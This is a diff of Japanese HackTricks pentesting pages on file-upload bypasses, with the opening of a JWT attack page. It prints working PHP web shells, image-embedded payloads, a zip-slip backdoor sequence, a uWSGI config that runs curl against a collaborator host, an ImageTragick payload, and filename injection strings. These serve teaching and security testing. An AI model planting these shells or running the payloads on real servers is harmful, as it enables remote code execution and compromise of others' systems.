# ファイルをアップロードして、許容される文字数を確認します。236 とします
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# ペイロードを作成します
|
||||
|
@ -84,12 +84,12 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` または画像に **ペイロードを直接導入** することもできます:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* 画像に **圧縮が追加されている** 場合、例えば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のような標準の PHP ライブラリを使用している場合、前述のテクニックは役立ちません。ただし、**PLTEチャンク** [**こちらで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を **生き残る** テキストを挿入することができます。
|
||||
* [**コードのGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* ウェブページが **画像をリサイズ** している場合、たとえば PHP-GD 関数 `imagecopyresized` または `imagecopyresampled` を使用している場合、**IDATチャンク** [**こちらで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を **生き残る** テキストを挿入することができます。
|
||||
* [**コードのGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* **画像のリサイズを生き残るペイロード** を作成する別のテクニックとして、PHP-GD 関数 `thumbnailImage` を使用することができます。ただし、**tEXtチャンク** [**こちらで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、圧縮を **生き残る** テキストを挿入することができます。
|
||||
* [**コードのGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
* 画像に **圧縮が追加されている** 場合、例えば [PHP-GD](https://www.php.net/manual/fr/book.image.php) のような標準の PHP ライブラリを使用している場合、前述のテクニックは役立ちません。ただし、**PLTE チャンク** [**こちらで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、**圧縮を生き残る** テキストを挿入できます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* ウェブページが **画像をリサイズ** している場合、たとえば PHP-GD 関数 `imagecopyresized` または `imagecopyresampled` を使用している場合、**IDAT チャンク** [**こちらで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、**圧縮を生き残る** テキストを挿入できます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* **画像のリサイズを生き残るペイロード** を作成する別のテクニックとして、PHP-GD 関数 `thumbnailImage` を使用できます。ただし、**tEXt チャンク** [**こちらで定義されたテクニック**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) を使用して、**圧縮を生き残る** テキストを挿入できます。
|
||||
* [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### その他のチェックトリック
|
||||
|
||||
|
@ -97,19 +97,19 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
* バックドアを実行するための **ローカルファイルインクルージョン** 脆弱性を見つける。
|
||||
* **可能な情報漏洩**:
|
||||
1. **同じ名前** の **同じファイル** を **複数回** (かつ **同時に** )アップロードする
|
||||
2. 既に存在する **ファイル** または **フォルダ** の **名前** を持つファイルをアップロードする
|
||||
2. 既に存在する **ファイル** や **フォルダ** の **名前** を持つファイルをアップロードする
|
||||
3. 名前が **“.”, “..”, または “…”** であるファイルをアップロードする。たとえば、Apache の **Windows** では、アプリケーションがアップロードされたファイルを “/www/uploads/” ディレクトリに保存する場合、ファイル名が “.” の場合、 “/www/” ディレクトリに “uploads” というファイルが作成されます。
|
||||
4. **NTFS** で削除が容易でないファイルをアップロードする、例えば **“…:.jpg”** (Windows)
|
||||
5. 名前に `|<>*?”` のような **無効な文字** を含むファイルを **Windows** にアップロードする(Windows)
|
||||
4. **NTFS** で削除が難しいファイルをアップロードする、例えば **“…:.jpg”** (Windows)
|
||||
5. 名前に `|<>*?”` のような **無効な文字** が含まれるファイルを **Windows** にアップロードする(Windows)
|
||||
6. CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、LPT9 のような **予約済み**(**禁止**) **名前** を使用して **Windows** にファイルをアップロードする。
|
||||
* 実行可能ファイル(.exe)または誤解を招きにくい **.html** をアップロードし、被害者が誤って開いたときにコードを実行することも試してみてください。
|
||||
* 実行可能ファイル(.exe)または誤解を招く可能性の少ない **.html** をアップロードして、被害者が誤って開いたときにコードを実行することも試してみてください。
|
||||
|
||||
### 特別な拡張子のトリック
|
||||
|
||||
**PHPサーバー** にファイルをアップロードしようとしている場合は、[**.htaccess** トリックでコードを実行する方法](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess) をご覧ください。\
|
||||
**ASPサーバー** にファイルをアップロードしようとしている場合は、[**.config** トリックでコードを実行する方法](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files) をご覧ください。
|
||||
|
||||
`.phar` ファイルは、Java の `.jar` のようなものですが、PHP 用であり、PHP で実行したり、スクリプト内に含めたりすることができます...
|
||||
`.phar` ファイルは、Java の `.jar` のようなもので、PHP 用であり、PHP で実行したり、スクリプト内に含めたりすることができます...
|
||||
|
||||
`.inc` 拡張子は、ファイルを **インポート** するためだけに使用されることがある PHP ファイルに使用されることがあり、ある時点で、誰かが **この拡張子を実行できるように** 許可している可能性があります。
|
||||
|
||||
|
@ -117,11 +117,15 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
|
||||
Jetty サーバーに XML ファイルをアップロードできる場合、[**新しい \*.xml および \*.war は自動的に処理される** ため、RCE を取得できます](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** したがって、次の画像に示すように、XML ファイルを `$JETTY_BASE/webapps/` にアップロードしてシェルを期待してください!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1044).png>)
|
||||
|
||||
## **uWSGI RCE**
|
||||
|
||||
この脆弱性の詳細な調査については、元の研究をご覧ください: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
|
||||
リモートコマンド実行(RCE)の脆弱性は、`.ini` 構成ファイルを変更できる場合に uWSGI サーバーで悪用できます。uWSGI 構成ファイルは、ファイルの内容を含めるための "マジック" 変数、プレースホルダー、演算子を組み込むための特定の構文を活用しています。特に、`@(filename)` として使用される '@' 演算子は、ファイルの内容を含めるために設計されています。uWSGI でサポートされているさまざまなスキームの中で、"exec" スキームは特に強力であり、プロセスの標準出力からデータを読み取ることができます。この機能は、`.ini` 構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
|
||||
|
||||
次の有害な `uwsgi.ini` ファイルの例を考えてみてください。さまざまなスキームを示しています:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
|
@ -139,9 +143,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
ペイロードの実行は、構成ファイルの解析中に発生します。構成を有効にして解析するには、uWSGIプロセスを再起動する必要があります(クラッシュ後またはDoS攻撃の結果として)またはファイルを自動リロードに設定する必要があります。自動リロード機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込まれます。
|
||||
ペイロードの実行は、構成ファイルの解析中に発生します。構成を有効にして解析するには、uWSGIプロセスを再起動するか(クラッシュ後またはDoS攻撃の結果として)、またはファイルを自動リロードに設定する必要があります。自動リロード機能が有効になっている場合、変更を検出すると指定された間隔でファイルを再読み込みします。
|
||||
|
||||
uWSGIの構成ファイルの解析の寛容な性質を理解することが重要です。具体的には、議論されているペイロードは、バイナリファイル(画像やPDFなど)に挿入することができます。これにより、潜在的な悪用の範囲がさらに広がります。
|
||||
uWSGIの構成ファイルの解析の寛容な性質を理解することが重要です。具体的には、議論されているペイロードは、バイナリファイル(画像やPDFなど)に挿入することができ、潜在的な悪用の範囲をさらに広げることができます。
|
||||
|
||||
## **wgetファイルアップロード/SSRFトリック**
|
||||
|
||||
|
@ -169,7 +173,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
|
||||
```
|
||||
**別のオプション**として、このチェックをバイパスする方法として考えているかもしれないのは、**HTTPサーバーを別のファイルにリダイレクトさせる**ことです。そのため、初期URLはチェックをバイパスしますが、その後wgetが新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが`--trust-server-names`パラメータとともに使用されている場合に**のみ機能せず**、**wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロード**します。
|
||||
**別のオプション**として、このチェックをバイパスする方法として考えているかもしれないのは、**HTTPサーバーを別のファイルにリダイレクトさせる**ことです。そのため、初期URLはチェックをバイパスしますが、その後wgetが新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが`--trust-server-names`パラメータとともに使用されている場合に**のみ機能**します。なぜなら、**wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロード**するからです。
|
||||
|
||||
## ツール
|
||||
|
||||
|
@ -177,19 +181,19 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
|||
|
||||
## ファイルアップロードから他の脆弱性へ
|
||||
|
||||
* **ファイル名**を`../../../tmp/lol.png`に設定し、**パストラバーサル**を試みます
|
||||
* **ファイル名**を`sleep(10)-- -.jpg`に設定し、**SQLインジェクション**を達成する可能性があります
|
||||
* **ファイル名**を`<svg onload=alert(document.domain)>`に設定して、XSSを達成します
|
||||
* **ファイル名**を`; sleep 10;`に設定して、いくつかのコマンドインジェクションをテストします(詳細は[こちら](../command-injection.md))
|
||||
* **ファイル名**を`../../../tmp/lol.png`に設定して、**パストラバーサル**を試みる
|
||||
* **ファイル名**を`sleep(10)-- -.jpg`に設定して、**SQLインジェクション**を達成する可能性があります
|
||||
* **ファイル名**を`<svg onload=alert(document.domain)>`に設定して、XSSを達成する
|
||||
* **ファイル名**を`; sleep 10;`に設定して、いくつかのコマンドインジェクションをテストする(詳細は[こちら](../command-injection.md))
|
||||
* [画像(svg)ファイルの中の**XSS**](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS**ファイル**のアップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [svgアップロード**のXXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [svgアップロードの**XXE**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* SVGファイルのアップロードによる[**オープンリダイレクト**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**さまざまなsvgペイロード**を試してみてください
|
||||
* [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Webサーバーに画像を取得するよう指示できる場合、[SSRF](../ssrf-server-side-request-forgery/)を悪用してみてください。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**すべての訪問者の情報を盗む**こともできます。
|
||||
* [PDF-Adobeアップロードによる**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* XSSを特に工夫したPDF:次のページでは、**PDFデータを注入してJSの実行を取得**する方法が示されています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するPDFを準備できます。
|
||||
* [**PDF-Adobeアップロード**による**XXEとCORS**バイパス](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* 特に作成されたPDFを使用したXSS:次のページでは、**PDFデータを注入してJSの実行を取得**する方法が示されています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するPDFを準備できます。
|
||||
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))コンテンツをアップロードして、サーバーに**アンチウイルス**があるかどうかを確認します
|
||||
* ファイルをアップロードする際の**サイズ制限**があるかどうかを確認します
|
||||
|
||||
|
@ -231,16 +235,16 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### 異なるフォルダーに解凍
|
||||
|
||||
解凍中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。悪意のあるファイルのアップロードを通じたOSレベルのコマンド実行を防ぐ可能性があると最初に想定されたにもかかわらず、ZIPアーカイブ形式の階層圧縮サポートとディレクトリトラバーサル機能は悪用される可能性があります。これにより、攻撃者は対象アプリケーションの解凍機能を操作して、制限を回避し、安全なアップロードディレクトリから脱出することができます。
|
||||
解凍中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。悪意のあるファイルのアップロードを通じたOSレベルのコマンド実行を防ぐかもしれないという最初の仮定にもかかわらず、ZIPアーカイブ形式の階層圧縮サポートとディレクトリトラバーサル機能は悪用される可能性があります。これにより、攻撃者は対象アプリケーションの解凍機能を操作して、制限を回避し、安全なアップロードディレクトリから脱出することができます。
|
||||
|
||||
このようなファイルを作成するための自動化されたエクスプロイトは、[**GitHubのevilarc**](https://github.com/ptoomey3/evilarc)で利用可能です。このユーティリティは以下のように使用できます:
|
||||
このようなファイルを作成するための自動化されたエクスプロイトは、[**GitHubのevilarc**](https://github.com/ptoomey3/evilarc)で利用可能です。このユーティリティは次のように使用できます:
|
||||
```python
|
||||
# Listing available options
|
||||
python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
さらに、**evilarcを使用したシンボリックリンクトリック**もオプションです。`/flag.txt`のようなファイルをターゲットにする場合、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
|
||||
さらに、**evilarcを使用したシンボリックリンクトリック**も選択肢の一つです。`/flag.txt`のようなファイルをターゲットにする場合、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないようになります。
|
||||
|
||||
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
|
||||
```python
|
||||
|
@ -262,9 +266,9 @@ create_zip()
|
|||
```
|
||||
**ファイルスプレーのための圧縮の乱用**
|
||||
|
||||
詳細については、**元の投稿を確認してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
詳細については、**元の投稿を参照してください**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を介して渡されたコマンドを実行するために書かれています。
|
||||
1. **PHPシェルの作成**: PHPコードは、`$_REQUEST`変数を介して渡されたコマンドを実行するために書かれています。
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
@ -273,13 +277,13 @@ $cmd = ($_REQUEST['cmd']);
|
|||
system($cmd);
|
||||
}?>
|
||||
```
|
||||
2. **ファイルスプレーと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
|
||||
2. **ファイルスプレーと圧縮ファイルの作成**: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
|
||||
|
||||
```bash
|
||||
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
3. **ヘックスエディタまたはviでの修正**: zip内のファイル名を変更し、viまたはヘックスエディタを使用して、「xxA」をディレクトリを横断するために「../」に変更します。
|
||||
3. **ヘックスエディタまたはviを使用した修正**: zip内のファイル名を変更し、viまたはヘックスエディタを使用して、「xxA」をディレクトリを横断するために「../」に変更します。
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
|
@ -289,7 +293,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||
|
||||
## ImageTragic
|
||||
|
||||
このコンテンツを画像拡張子付きでアップロードして脆弱性を悪用します **(ImageMagick , 7.0.1-1)** ([exploit](https://www.exploit-db.com/exploits/39767))
|
||||
このコンテンツを画像拡張子付きでアップロードして脆弱性を悪用します **(ImageMagick、7.0.1-1)** ([exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
|
@ -298,21 +302,21 @@ pop graphic-context
|
|||
```
|
||||
## PNGにPHPシェルを埋め込む
|
||||
|
||||
PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特定の画像処理操作を効果的にバイパスすることができます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、画像のリサイズやリサンプリングに一般的に使用されるため、特に関連性があります。埋め込まれたPHPシェルがこれらの操作に影響を受けない能力は、特定のユースケースにおいて重要な利点となります。
|
||||
PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特定の画像処理操作を効果的にバイパスすることができます。PHP-GDの`imagecopyresized`および`imagecopyresampled`関数は、画像のリサイズやリサンプリングに一般的に使用されるため、この文脈で特に関連性があります。埋め込まれたPHPシェルがこれらの操作に影響を受けない能力は、特定のユースケースにおいて重要な利点となります。
|
||||
|
||||
この技術の詳細な探求、方法論、および潜在的な応用については、次の記事で提供されています:["PNG IDATチャンクにWebシェルをエンコードする"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供しています。
|
||||
この技術の詳細な探求、方法論、および潜在的な応用については、次の記事で提供されています: ["PNG IDATチャンクにWebシェルをエンコードする"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。このリソースは、プロセスとその影響について包括的な理解を提供しています。
|
||||
|
||||
詳細はこちら:[https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
詳細はこちら: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
|
||||
## ポリグロットファイル
|
||||
|
||||
ポリグロットファイルは、サイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式で正当に存在できるカメレオンとして機能します。興味深い例として、[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限定されず、GIFとJSやPPTとJSなどの組み合わせも可能です。
|
||||
ポリグロットファイルは、サイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式で同時に有効に存在できるカメレオンとして機能します。興味深い例として、[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルはこのペアリングに限定されず、GIFとJS、またはPPTとJSなどの組み合わせも可能です。
|
||||
|
||||
ポリグロットファイルの主な利点は、ファイルタイプに基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでの一般的な慣行は、JPEG、GIF、またはDOCなどの特定のファイルタイプのみをアップロード可能とし、潜在的に有害な形式(例:JS、PHP、またはPharファイル)によるリスクを軽減することです。しかし、ポリグロットは、複数のファイルタイプの構造基準に準拠することで、これらの制限を巧妙にバイパスすることができます。
|
||||
ポリグロットファイルの主な利点は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでの一般的な慣行は、JPEG、GIF、またはDOCなどの特定のファイルタイプのみをアップロード可能とし、潜在的に有害な形式(例: JS、PHP、またはPharファイル)によるリスクを軽減することです。しかし、ポリグロットは複数のファイルタイプの構造基準に準拠することで、これらの制限を巧妙にバイパスすることができます。
|
||||
|
||||
ポリグロットは適応性がある一方で、制約に遭遇することがあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化していても、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーにかかってくるかもしれません。システムが許容可能な拡張子に厳格である場合、単なる構造的な二重性だけではアップロードが保証されないかもしれません。
|
||||
ポリグロットは適応性がある一方で、制限に遭遇することもあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に表現していても、そのアップロードの成功はプラットフォームのファイル拡張ポリシーにかかってくるかもしれません。許容される拡張子に厳格なシステムの場合、単なる構造的な二重性だけではアップロードが保証されないかもしれません。
|
||||
|
||||
詳細はこちら:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
詳細はこちら: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -323,7 +327,7 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -333,12 +337,12 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特
|
|||
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* **HackTricksをPDFでダウンロード**したい場合や**HackTricksを広告**してほしい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,20 +1,20 @@
|
|||
# JWT Vulnerabilities (Json Web Tokens)
|
||||
# JWTの脆弱性(Json Web Tokens)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する。
|
||||
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、**あなたのハッキングテクニックを共有**してください。
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -26,28 +26,24 @@ HackTricksをサポートする他の方法:
|
|||
### **クイックウィン**
|
||||
|
||||
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool)を`All Tests!`モードで実行し、緑色の行を待ちます
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py -M at \
|
||||
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
|
||||
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
|
||||
```
|
||||
|
||||
もし幸運なら、ツールがWebアプリケーションがJWTを正しくチェックしていないケースを見つけるかもしれません:
|
||||
|
||||
![](<../.gitbook/assets/image (435).png>)
|
||||
![](<../.gitbook/assets/image (932).png>)
|
||||
|
||||
その後、プロキシでリクエストを検索するか、jwt\_ toolを使用してそのリクエストで使用されたJWTをダンプできます:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
|
||||
```
|
||||
|
||||
### データを変更せずにデータを改ざんする
|
||||
|
||||
署名をそのままにデータを改ざんし、サーバーが署名を確認しているかどうかを確認できます。たとえば、ユーザー名を "admin" に変更してみてください。
